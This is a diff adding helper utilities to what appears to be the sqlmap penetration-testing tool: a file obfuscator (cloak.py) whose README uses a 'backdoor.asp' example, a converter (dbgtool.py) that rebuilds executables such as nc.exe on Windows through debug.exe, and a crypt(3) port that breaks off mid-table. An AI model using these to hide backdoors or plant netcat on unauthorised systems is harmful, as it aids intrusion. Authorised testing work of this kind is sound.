#!/usr/bin/env python
|
||||
#
|
||||
# Copyright 2007-2008 David McNab
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify it
|
||||
# under the terms of the GNU Lesser General Public License as published
|
||||
# by the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU Lesser General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU Lesser General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
pass
|
||||
3401
extra/clientform/clientform.py
Normal file
3401
extra/clientform/clientform.py
Normal file
File diff suppressed because it is too large
Load Diff
22
extra/cloak/README.txt
Normal file
22
extra/cloak/README.txt
Normal file
@@ -0,0 +1,22 @@
|
||||
To use cloak.py you need to pass it the original file,
|
||||
and optionally the output file name.
|
||||
|
||||
Example:
|
||||
|
||||
$ python ./cloak.py -i backdoor.asp -o backdoor.asp_
|
||||
|
||||
This will create an encrypted and compressed binary file backdoor.asp_.
|
||||
|
||||
Such file can then be converted to its original form by using the -d
|
||||
functionality of the cloak.py program:
|
||||
|
||||
$ python ./cloak.py -d -i backdoor.asp_ -o backdoor.asp
|
||||
|
||||
If you skip the output file name, general rule is that the compressed
|
||||
file names are suffixed with the character '_', while the original is
|
||||
get by skipping the last character. So, that means that the upper
|
||||
examples can also be written in the following form:
|
||||
|
||||
$ python ./cloak.py -i backdoor.asp
|
||||
|
||||
$ python ./cloak.py -d -i backdoor.asp_
|
||||
10
extra/cloak/__init__.py
Executable file
10
extra/cloak/__init__.py
Executable file
@@ -0,0 +1,10 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
pass
|
||||
81
extra/cloak/cloak.py
Executable file
81
extra/cloak/cloak.py
Executable file
@@ -0,0 +1,81 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
cloak.py - Simple file encryption/compression utility
|
||||
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
import bz2
|
||||
import os
|
||||
import sys
|
||||
|
||||
from optparse import OptionError
|
||||
from optparse import OptionParser
|
||||
|
||||
def hideAscii(data):
|
||||
retVal = ""
|
||||
for i in xrange(len(data)):
|
||||
if ord(data[i]) < 128:
|
||||
retVal += chr(ord(data[i]) ^ 127)
|
||||
else:
|
||||
retVal += data[i]
|
||||
|
||||
return retVal
|
||||
|
||||
def cloak(inputFile):
|
||||
f = open(inputFile, 'rb')
|
||||
data = bz2.compress(f.read())
|
||||
f.close()
|
||||
|
||||
return hideAscii(data)
|
||||
|
||||
def decloak(inputFile):
|
||||
f = open(inputFile, 'rb')
|
||||
data = bz2.decompress(hideAscii(f.read()))
|
||||
f.close()
|
||||
|
||||
return data
|
||||
|
||||
def main():
|
||||
usage = '%s [-d] -i <input file> [-o <output file>]' % sys.argv[0]
|
||||
parser = OptionParser(usage=usage, version='0.1')
|
||||
|
||||
try:
|
||||
parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt')
|
||||
parser.add_option('-i', dest='inputFile', help='Input file')
|
||||
parser.add_option('-o', dest='outputFile', help='Output file')
|
||||
|
||||
(args, _) = parser.parse_args()
|
||||
|
||||
if not args.inputFile:
|
||||
parser.error('Missing the input file, -h for help')
|
||||
|
||||
except (OptionError, TypeError), e:
|
||||
parser.error(e)
|
||||
|
||||
if not os.path.isfile(args.inputFile):
|
||||
print 'ERROR: the provided input file \'%s\' is not a regular file' % args.inputFile
|
||||
sys.exit(1)
|
||||
|
||||
if not args.decrypt:
|
||||
data = cloak(args.inputFile)
|
||||
else:
|
||||
data = decloak(args.inputFile)
|
||||
|
||||
if not args.outputFile:
|
||||
if not args.decrypt:
|
||||
args.outputFile = args.inputFile + '_'
|
||||
else:
|
||||
args.outputFile = args.inputFile[:-1]
|
||||
|
||||
fpOut = open(args.outputFile, 'wb')
|
||||
sys.stdout = fpOut
|
||||
sys.stdout.write(data)
|
||||
sys.stdout.close()
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
20
extra/dbgtool/README.txt
Normal file
20
extra/dbgtool/README.txt
Normal file
@@ -0,0 +1,20 @@
|
||||
To use dbgtool.py you need to pass it the MS-DOS executable binary file,
|
||||
and optionally the output debug.exe script file name.
|
||||
|
||||
Example:
|
||||
|
||||
$ python ./dbgtool.py -i ./nc.exe -o nc.scr
|
||||
|
||||
This will create a ASCII text file with CRLF line terminators called
|
||||
nc.scr.
|
||||
|
||||
Such file can then be converted to its original portable executable with
|
||||
the Windows native debug.exe, that is installed by default in all Windows
|
||||
systems:
|
||||
|
||||
> debug.exe < nc.scr
|
||||
|
||||
To be able to execute it on Windows you have to rename it to end with
|
||||
'.com' or '.exe':
|
||||
|
||||
> ren nc_exe nc.exe
|
||||
10
extra/dbgtool/__init__.py
Normal file
10
extra/dbgtool/__init__.py
Normal file
@@ -0,0 +1,10 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
pass
|
||||
97
extra/dbgtool/dbgtool.py
Executable file
97
extra/dbgtool/dbgtool.py
Executable file
@@ -0,0 +1,97 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
dbgtool.py - Portable executable to ASCII debug script converter
|
||||
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import struct
|
||||
|
||||
from optparse import OptionError
|
||||
from optparse import OptionParser
|
||||
|
||||
def convert(inputFile):
|
||||
fileStat = os.stat(inputFile)
|
||||
fileSize = fileStat.st_size
|
||||
|
||||
if fileSize > 65280:
|
||||
print "ERROR: the provided input file '%s' is too big for debug.exe" % inputFile
|
||||
sys.exit(1)
|
||||
|
||||
script = "n %s\nr cx\n" % os.path.basename(inputFile.replace(".", "_"))
|
||||
script += "%x\nf 0100 ffff 00\n" % fileSize
|
||||
scrString = ""
|
||||
counter = 256
|
||||
counter2 = 0
|
||||
|
||||
fp = open(inputFile, "rb")
|
||||
fileContent = fp.read()
|
||||
|
||||
for fileChar in fileContent:
|
||||
unsignedFileChar = struct.unpack("B", fileChar)[0]
|
||||
|
||||
if unsignedFileChar != 0:
|
||||
counter2 += 1
|
||||
|
||||
if not scrString:
|
||||
scrString = "e %0x %02x" % (counter, unsignedFileChar)
|
||||
else:
|
||||
scrString += " %02x" % unsignedFileChar
|
||||
elif scrString:
|
||||
script += "%s\n" % scrString
|
||||
scrString = ""
|
||||
counter2 = 0
|
||||
|
||||
counter += 1
|
||||
|
||||
if counter2 == 20:
|
||||
script += "%s\n" % scrString
|
||||
scrString = ""
|
||||
counter2 = 0
|
||||
|
||||
script += "w\nq\n"
|
||||
|
||||
return script
|
||||
|
||||
def main(inputFile, outputFile):
|
||||
if not os.path.isfile(inputFile):
|
||||
print "ERROR: the provided input file '%s' is not a regular file" % inputFile
|
||||
sys.exit(1)
|
||||
|
||||
script = convert(inputFile)
|
||||
|
||||
if outputFile:
|
||||
fpOut = open(outputFile, "w")
|
||||
sys.stdout = fpOut
|
||||
sys.stdout.write(script)
|
||||
sys.stdout.close()
|
||||
else:
|
||||
print script
|
||||
|
||||
if __name__ == "__main__":
|
||||
usage = "%s -i <input file> [-o <output file>]" % sys.argv[0]
|
||||
parser = OptionParser(usage=usage, version="0.1")
|
||||
|
||||
try:
|
||||
parser.add_option("-i", dest="inputFile", help="Input binary file")
|
||||
|
||||
parser.add_option("-o", dest="outputFile", help="Output debug.exe text file")
|
||||
|
||||
(args, _) = parser.parse_args()
|
||||
|
||||
if not args.inputFile:
|
||||
parser.error("Missing the input file, -h for help")
|
||||
|
||||
except (OptionError, TypeError), e:
|
||||
parser.error(e)
|
||||
|
||||
inputFile = args.inputFile
|
||||
outputFile = args.outputFile
|
||||
|
||||
main(inputFile, outputFile)
|
||||
26
extra/fcrypt/__init__.py
Normal file
26
extra/fcrypt/__init__.py
Normal file
@@ -0,0 +1,26 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
#Copyright (c) 2004, Carey Evans <careye@spamcop.net>
|
||||
#All rights reserved.
|
||||
|
||||
#Redistribution and use in source and binary forms, with or without modification,
|
||||
#are permitted provided that the following conditions are met:
|
||||
|
||||
#* Redistributions of source code must retain the above copyright notice,
|
||||
#this list of conditions and the following disclaimer.
|
||||
#* Redistributions in binary form must reproduce the above copyright notice,
|
||||
#this list of conditions and the following disclaimer in the documentation
|
||||
#and/or other materials provided with the distribution.
|
||||
|
||||
#THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
#ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
#DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
|
||||
#ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
#LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
#ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
#(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
#SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
pass
|
||||
615
extra/fcrypt/fcrypt.py
Normal file
615
extra/fcrypt/fcrypt.py
Normal file
@@ -0,0 +1,615 @@
|
||||
# fcrypt.py
|
||||
|
||||
"""Unix crypt(3) password hash algorithm.
|
||||
|
||||
This is a port to Python of the standard Unix password crypt function.
|
||||
It's a single self-contained source file that works with any version
|
||||
of Python from version 1.5 or higher. The code is based on Eric
|
||||
Young's optimised crypt in C.
|
||||
|
||||
Python fcrypt is intended for users whose Python installation has not
|
||||
had the crypt module enabled, or whose C library doesn't include the
|
||||
crypt function. See the documentation for the Python crypt module for
|
||||
more information:
|
||||
|
||||
http://www.python.org/doc/current/lib/module-crypt.html
|
||||
|
||||
An alternative Python crypt module that uses the MD5 algorithm and is
|
||||
more secure than fcrypt is available from michal j wallace at:
|
||||
|
||||
http://www.sabren.net/code/python/crypt/index.php3
|
||||
|
||||
The crypt() function is a one-way hash function, intended to hide a
|
||||
password such that the only way to find out the original password is
|
||||
to guess values until you get a match. If you need to encrypt and
|
||||
decrypt data, this is not the module for you.
|
||||
|
||||
There are at least two packages providing Python cryptography support:
|
||||
M2Crypto at <http://www.pobox.org.sg/home/ngps/m2/>, and amkCrypto at
|
||||
<http://www.amk.ca/python/code/crypto.html>.
|
||||
|
||||
Functions:
|
||||
|
||||
crypt() -- return hashed password
|
||||
"""
|
||||
|
||||
__author__ = 'Carey Evans <careye@spamcop.net>'
|
||||
__version__ = '1.3.1'
|
||||
__date__ = '21 February 2004'
|
||||
__credits__ = '''michal j wallace for inspiring me to write this.
|
||||
Eric Young for the C code this module was copied from.'''
|
||||
|
||||
__all__ = ['crypt']
|
||||
|
||||
|
||||
# Copyright (C) 2000, 2001, 2004 Carey Evans <careye@spamcop.net>
|
||||
#
|
||||
# Permission to use, copy, modify, and distribute this software and
|
||||
# its documentation for any purpose and without fee is hereby granted,
|
||||
# provided that the above copyright notice appear in all copies and
|
||||
# that both that copyright notice and this permission notice appear in
|
||||
# supporting documentation.
|
||||
#
|
||||
# CAREY EVANS DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE,
|
||||
# INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO
|
||||
# EVENT SHALL CAREY EVANS BE LIABLE FOR ANY SPECIAL, INDIRECT OR
|
||||
# CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF
|
||||
# USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
|
||||
# OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
|
||||
# PERFORMANCE OF THIS SOFTWARE.
|
||||
|
||||
# Based on C code by Eric Young (eay@mincom.oz.au), which has the
|
||||
# following copyright. Especially note condition 3, which imposes
|
||||
# extra restrictions on top of the standard Python license used above.
|
||||
#
|
||||
# The fcrypt.c source is available from:
|
||||
# ftp://ftp.psy.uq.oz.au/pub/Crypto/DES/
|
||||
|
||||
# ----- BEGIN fcrypt.c LICENSE -----
|
||||
#
|
||||
# This library is free for commercial and non-commercial use as long as
|
||||
# the following conditions are aheared to. The following conditions
|
||||
# apply to all code found in this distribution, be it the RC4, RSA,
|
||||
# lhash, DES, etc., code; not just the SSL code. The SSL documentation
|
||||
# included with this distribution is covered by the same copyright terms
|
||||
# except that the holder is Tim Hudson (tjh@mincom.oz.au).
|
||||
#
|
||||
# Copyright remains Eric Young's, and as such any Copyright notices in
|
||||
# the code are not to be removed.
|
||||
# If this package is used in a product, Eric Young should be given attribution
|
||||
# as the author of the parts of the library used.
|
||||
# This can be in the form of a textual message at program startup or
|
||||
# in documentation (online or textual) provided with the package.
|
||||
#
|
||||
# Redistribution and use in source and binary forms, with or without
|
||||
# modification, are permitted provided that the following conditions
|
||||
# are met:
|
||||
# 1. Redistributions of source code must retain the copyright
|
||||
# notice, this list of conditions and the following disclaimer.
|
||||
# 2. Redistributions in binary form must reproduce the above copyright
|
||||
# notice, this list of conditions and the following disclaimer in the
|
||||
# documentation and/or other materials provided with the distribution.
|
||||
# 3. All advertising materials mentioning features or use of this software
|
||||
# must display the following acknowledgement:
|
||||
# "This product includes cryptographic software written by
|
||||
# Eric Young (eay@mincom.oz.au)"
|
||||
# The word 'cryptographic' can be left out if the rouines from the library
|
||||
# being used are not cryptographic related :-).
|
||||
# 4. If you include any Windows specific code (or a derivative thereof) from
|
||||
# the apps directory (application code) you must include an acknowledgement:
|
||||
# "This product includes software written by Tim Hudson (tjh@mincom.oz.au)"
|
||||
#
|
||||
# THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND
|
||||
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
# ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
# OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
# OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
# SUCH DAMAGE.
|
||||
#
|
||||
# The licence and distribution terms for any publically available version or
|
||||
# derivative of this code cannot be changed. i.e. this code cannot simply be
|
||||
# copied and put under another distribution licence
|
||||
# [including the GNU Public Licence.]
|
||||
#
|
||||
# ----- END fcrypt.c LICENSE -----
|
||||
|
||||
|
||||
import string, struct
|
||||
|
||||
|
||||
_ITERATIONS = 16
|
||||
|
||||
_SPtrans = (
|
||||
# nibble 0
|
||||
[ 0x00820200, 0x00020000, 0x80800000, 0x80820200,
|
||||
0x00800000, 0x80020200, 0x80020000, 0x80800000,
|
||||
0x80020200, 0x00820200, 0x00820000, 0x80000200,
|
||||
0x80800200, 0x00800000, 0x00000000, 0x80020000,
|
||||
0x00020000, 0x80000000, 0x00800200, 0x00020200,
|
||||
0x80820200, 0x00820000, 0x80000200, 0x00800200,
|
||||
0x80000000, 0x00000200, 0x00020200, 0x80820000,
|
||||
0x00000200, 0x80800200, 0x80820000, 0x00000000,
|
||||
0x00000000, 0x80820200, 0x00800200, 0x80020000,
|
||||
0x00820200, 0x00020000, 0x80000200, 0x00800200,
|
||||
0x80820000, 0x00000200, 0x00020200, 0x80800000,
|
||||
0x80020200, 0x80000000, 0x80800000, 0x00820000,
|
||||
0x80820200, 0x00020200, 0x00820000, 0x80800200,
|
||||
0x00800000, 0x80000200, 0x80020000, 0x00000000,
|
||||
0x00020000, 0x00800000, 0x80800200, 0x00820200,
|
||||
0x80000000, 0x80820000, 0x00000200, 0x80020200 ],
|
||||
|
||||
# nibble 1
|
||||
[ 0x10042004, 0x00000000, 0x00042000, 0x10040000,
|
||||
0x10000004, 0x00002004, 0x10002000, 0x00042000,
|
||||
0x00002000, 0x10040004, 0x00000004, 0x10002000,
|
||||
0x00040004, 0x10042000, 0x10040000, 0x00000004,
|
||||
0x00040000, 0x10002004, 0x10040004, 0x00002000,
|
||||
0x00042004, 0x10000000, 0x00000000, 0x00040004,
|
||||
0x10002004, 0x00042004, 0x10042000, 0x10000004,
|
||||
0x10000000, 0x00040000, 0x00002004, 0x10042004,
|
||||
0x00040004, 0x10042000, 0x10002000, 0x00042004,
|
||||
0x10042004, 0x00040004, 0x10000004, 0x00000000,
|
||||
0x10000000, 0x00002004, 0x00040000, 0x10040004,
|
||||
0x00002000, 0x10000000, 0x00042004, 0x10002004,
|
||||
0x10042000, 0x00002000, 0x00000000, 0x10000004,
|
||||
0x00000004, 0x10042004, 0x00042000, 0x10040000,
|
||||
0x10040004, 0x00040000, 0x00002004, 0x10002000,
|
||||
0x10002004, 0x00000004, 0x10040000, 0x00042000 ],
|
||||
|
||||
# nibble 2
|
||||
[ 0x41000000, 0x01010040, 0x00000040, 0x41000040,
|
||||
0x40010000, 0x01000000, 0x41000040, 0x00010040,
|
||||
0x01000040, 0x00010000, 0x01010000, 0x40000000,
|
||||
0x41010040, 0x40000040, 0x40000000, 0x41010000,
|
||||
0x00000000, 0x40010000, 0x01010040, 0x00000040,
|
||||
0x40000040, 0x41010040, 0x00010000, 0x41000000,
|
||||
0x41010000, 0x01000040, 0x40010040, 0x01010000,
|
||||
0x00010040, 0x00000000, 0x01000000, 0x40010040,
|
||||
0x01010040, 0x00000040, 0x40000000, 0x00010000,
|
||||
0x40000040, 0x40010000, 0x01010000, 0x41000040,
|
||||
0x00000000, 0x01010040, 0x00010040, 0x41010000,
|
||||
0x40010000, 0x01000000, 0x41010040, 0x40000000,
|
||||
0x40010040, 0x41000000, 0x01000000, 0x41010040,
|
||||
0x00010000, 0x01000040, 0x41000040, 0x00010040,
|
||||
0x01000040, 0x00000000, 0x41010000, 0x40000040,
|
||||
0x41000000, 0x40010040, 0x00000040, 0x01010000 ],
|
||||
|
||||
# nibble 3
|
||||
[ 0x00100402, 0x04000400, 0x00000002, 0x04100402,
|
||||
0x00000000, 0x04100000, 0x04000402, 0x00100002,
|
||||
0x04100400, 0x04000002, 0x04000000, 0x00000402,
|
||||
0x04000002, 0x00100402, 0x00100000, 0x04000000,
|
||||
0x04100002, 0x00100400, 0x00000400, 0x00000002,
|
||||
0x00100400, 0x04000402, 0x04100000, 0x00000400,
|
||||
0x00000402, 0x00000000, 0x00100002, 0x04100400,
|
||||
0x04000400, 0x04100002, 0x04100402, 0x00100000,
|
||||
0x04100002, 0x00000402, 0x00100000, 0x04000002,
|
||||
0x00100400, 0x04000400, 0x00000002, 0x04100000,
|
||||
0x04000402, 0x00000000, 0x00000400, 0x00100002,
|
||||
0x00000000, 0x04100002, 0x04100400, 0x00000400,
|
||||
0x04000000, 0x04100402, 0x00100402, 0x00100000,
|
||||
0x04100402, 0x00000002, 0x04000400, 0x00100402,
|
||||
0x00100002, 0x00100400, 0x04100000, 0x04000402,
|
||||
0x00000402, 0x04000000, 0x04000002, 0x04100400 ],
|
||||
|
||||
# nibble 4
|
||||
[ 0x02000000, 0x00004000, 0x00000100, 0x02004108,
|
||||
0x02004008, 0x02000100, 0x00004108, 0x02004000,
|
||||
0x00004000, 0x00000008, 0x02000008, 0x00004100,
|
||||
0x02000108, 0x02004008, 0x02004100, 0x00000000,
|
||||
0x00004100, 0x02000000, 0x00004008, 0x00000108,
|
||||
0x02000100, 0x00004108, 0x00000000, 0x02000008,
|
||||
0x00000008, 0x02000108, 0x02004108, 0x00004008,
|
||||
0x02004000, 0x00000100, 0x00000108, 0x02004100,
|
||||
0x02004100, 0x02000108, 0x00004008, 0x02004000,
|
||||
0x00004000, 0x00000008, 0x02000008, 0x02000100,
|
||||
0x02000000, 0x00004100, 0x02004108, 0x00000000,
|
||||
0x00004108, 0x02000000, 0x00000100, 0x00004008,
|
||||
0x02000108, 0x00000100, 0x00000000, 0x02004108,
|
||||
0x02004008, 0x02004100, 0x00000108, 0x00004000,
|
||||
0x00004100, 0x02004008, 0x02000100, 0x00000108,
|
||||
0x00000008, 0x00004108, 0x02004000, 0x02000008 ],
|
||||
|
||||
# nibble 5
|
||||
[ 0x20000010, 0x00080010, 0x00000000, 0x20080800,
|
||||
0x00080010, 0x00000800, 0x20000810, 0x00080000,
|
||||
0x00000810, 0x20080810, 0x00080800, 0x20000000,
|
||||
0x20000800, 0x20000010, 0x20080000, 0x00080810,
|
||||
0x00080000, 0x20000810, 0x20080010, 0x00000000,
|
||||
0x00000800, 0x00000010, 0x20080800, 0x20080010,
|
||||
0x20080810, 0x20080000, 0x20000000, 0x00000810,
|
||||
0x00000010, 0x00080800, 0x00080810, 0x20000800,
|
||||
0x00000810, 0x20000000, 0x20000800, 0x00080810,
|
||||
0x20080800, 0x00080010, 0x00000000, 0x20000800,
|
||||
0x20000000, 0x00000800, 0x20080010, 0x00080000,
|
||||
0x00080010, 0x20080810, 0x00080800, 0x00000010,
|
||||
0x20080810, 0x00080800, 0x00080000, 0x20000810,
|
||||
0x20000010, 0x20080000, 0x00080810, 0x00000000,
|
||||
0x00000800, 0x20000010, 0x20000810, 0x20080800,
|
||||
0x20080000, 0x00000810, 0x00000010, 0x20080010 ],
|
||||
|
||||
# nibble 6
|
||||
[ 0x00001000, 0x00000080, 0x00400080, 0x00400001,
|
||||
0x00401081, 0x00001001, 0x00001080, 0x00000000,
|
||||
0x00400000, 0x00400081, 0x00000081, 0x00401000,
|
||||
0x00000001, 0x00401080, 0x00401000, 0x00000081,
|
||||
0x00400081, 0x00001000, 0x00001001, 0x00401081,
|
||||
0x00000000, 0x00400080, 0x00400001, 0x00001080,
|
||||
0x00401001, 0x00001081, 0x00401080, 0x00000001,
|
||||
0x00001081, 0x00401001, 0x00000080, 0x00400000,
|
||||
0x00001081, 0x00401000, 0x00401001, 0x00000081,
|
||||
0x00001000, 0x00000080, 0x00400000, 0x00401001,
|
||||
0x00400081, 0x00001081, 0x00001080, 0x00000000,
|
||||
0x00000080, 0x00400001, 0x00000001, 0x00400080,
|
||||
0x00000000, 0x00400081, 0x00400080, 0x00001080,
|
||||
0x00000081, 0x00001000, 0x00401081, 0x00400000,
|
||||
0x00401080, 0x00000001, 0x00001001, 0x00401081,
|
||||
0x00400001, 0x00401080, 0x00401000, 0x00001001 ],
|
||||
|
||||
# nibble 7
|
||||
[ 0x08200020, 0x08208000, 0x00008020, 0x00000000,
|
||||
0x08008000, 0x00200020, 0x08200000, 0x08208020,
|
||||
0x00000020, 0x08000000, 0x00208000, 0x00008020,
|
||||
0x00208020, 0x08008020, 0x08000020, 0x08200000,
|
||||
0x00008000, 0x00208020, 0x00200020, 0x08008000,
|
||||
0x08208020, 0x08000020, 0x00000000, 0x00208000,
|
||||
0x08000000, 0x00200000, 0x08008020, 0x08200020,
|
||||
0x00200000, 0x00008000, 0x08208000, 0x00000020,
|
||||
0x00200000, 0x00008000, 0x08000020, 0x08208020,
|
||||
0x00008020, 0x08000000, 0x00000000, 0x00208000,
|
||||
0x08200020, 0x08008020, 0x08008000, 0x00200020,
|
||||
0x08208000, 0x00000020, 0x00200020, 0x08008000,
|
||||
0x08208020, 0x00200000, 0x08200000, 0x08000020,
|
||||
0x00208000, 0x00008020, 0x08008020, 0x08200000,
|
||||
0x00000020, 0x08208000, 0x00208020, 0x00000000,
|
||||
0x08000000, 0x08200020, 0x00008000, 0x00208020 ] )
|
||||
|
||||
_skb = (
|
||||
# for C bits (numbered as per FIPS 46) 1 2 3 4 5 6
|
||||
[ 0x00000000, 0x00000010, 0x20000000, 0x20000010,
|
||||
0x00010000, 0x00010010, 0x20010000, 0x20010010,
|
||||
0x00000800, 0x00000810, 0x20000800, 0x20000810,
|
||||
0x00010800, 0x00010810, 0x20010800, 0x20010810,
|
||||
0x00000020, 0x00000030, 0x20000020, 0x20000030,
|
||||
0x00010020, 0x00010030, 0x20010020, 0x20010030,
|
||||
0x00000820, 0x00000830, 0x20000820, 0x20000830,
|
||||
0x00010820, 0x00010830, 0x20010820, 0x20010830,
|
||||
0x00080000, 0x00080010, 0x20080000, 0x20080010,
|
||||
0x00090000, 0x00090010, 0x20090000, 0x20090010,
|
||||
0x00080800, 0x00080810, 0x20080800, 0x20080810,
|
||||
0x00090800, 0x00090810, 0x20090800, 0x20090810,
|
||||
0x00080020, 0x00080030, 0x20080020, 0x20080030,
|
||||
0x00090020, 0x00090030, 0x20090020, 0x20090030,
|
||||
0x00080820, 0x00080830, 0x20080820, 0x20080830,
|
||||
0x00090820, 0x00090830, 0x20090820, 0x20090830 ],
|
||||
|
||||
# for C bits (numbered as per FIPS 46) 7 8 10 11 12 13
|
||||
[ 0x00000000, 0x02000000, 0x00002000, 0x02002000,
|
||||
0x00200000, 0x02200000, 0x00202000, 0x02202000,
|
||||
0x00000004, 0x02000004, 0x00002004, 0x02002004,
|
||||
0x00200004, 0x02200004, 0x00202004, 0x02202004,
|
||||
0x00000400, 0x02000400, 0x00002400, 0x02002400,
|
||||
0x00200400, 0x02200400, 0x00202400, 0x02202400,
|
||||
0x00000404, 0x02000404, 0x00002404, 0x02002404,
|
||||
0x00200404, 0x02200404, 0x00202404, 0x02202404,
|
||||
0x10000000, 0x12000000, 0x10002000, 0x12002000,
|
||||
0x10200000, 0x12200000, 0x10202000, 0x12202000,
|
||||
0x10000004, 0x12000004, 0x10002004, 0x12002004,
|
||||
0x10200004, 0x12200004, 0x10202004, 0x12202004,
|
||||
0x10000400, 0x12000400, 0x10002400, 0x12002400,
|
||||
0x10200400, 0x12200400, 0x10202400, 0x12202400,
|
||||
0x10000404, 0x12000404, 0x10002404, 0x12002404,
|
||||
0x10200404, 0x12200404, 0x10202404, 0x12202404 ],
|
||||
|
||||
# for C bits (numbered as per FIPS 46) 14 15 16 17 19 20
|
||||
[ 0x00000000, 0x00000001, 0x00040000, 0x00040001,
|
||||
0x01000000, 0x01000001, 0x01040000, 0x01040001,
|
||||
0x00000002, 0x00000003, 0x00040002, 0x00040003,
|
||||
0x01000002, 0x01000003, 0x01040002, 0x01040003,
|
||||
0x00000200, 0x00000201, 0x00040200, 0x00040201,
|
||||
0x01000200, 0x01000201, 0x01040200, 0x01040201,
|
||||
0x00000202, 0x00000203, 0x00040202, 0x00040203,
|
||||
0x01000202, 0x01000203, 0x01040202, 0x01040203,
|
||||
0x08000000, 0x08000001, 0x08040000, 0x08040001,
|
||||
0x09000000, 0x09000001, 0x09040000, 0x09040001,
|
||||
0x08000002, 0x08000003, 0x08040002, 0x08040003,
|
||||
0x09000002, 0x09000003, 0x09040002, 0x09040003,
|
||||
0x08000200, 0x08000201, 0x08040200, 0x08040201,
|
||||
0x09000200, 0x09000201, 0x09040200, 0x09040201,
|
||||
0x08000202, 0x08000203, 0x08040202, 0x08040203,
|
||||
0x09000202, 0x09000203, 0x09040202, 0x09040203 ],
|
||||
|
||||
# for C bits (numbered as per FIPS 46) 21 23 24 26 27 28
|
||||
[ 0x00000000, 0x00100000, 0x00000100, 0x00100100,
|
||||
0x00000008, 0x00100008, 0x00000108, 0x00100108,
|
||||
0x00001000, 0x00101000, 0x00001100, 0x00101100,
|
||||
0x00001008, 0x00101008, 0x00001108, 0x00101108,
|
||||
0x04000000, 0x04100000, 0x04000100, 0x04100100,
|
||||
0x04000008, 0x04100008, 0x04000108, 0x04100108,
|
||||
0x04001000, 0x04101000, 0x04001100, 0x04101100,
|
||||
0x04001008, 0x04101008, 0x04001108, 0x04101108,
|
||||
0x00020000, 0x00120000, 0x00020100, 0x00120100,
|
||||
0x00020008, 0x00120008, 0x00020108, 0x00120108,
|
||||
0x00021000, 0x00121000, 0x00021100, 0x00121100,
|
||||
0x00021008, 0x00121008, 0x00021108, 0x00121108,
|
||||
0x04020000, 0x04120000, 0x04020100, 0x04120100,
|
||||
0x04020008, 0x04120008, 0x04020108, 0x04120108,
|
||||
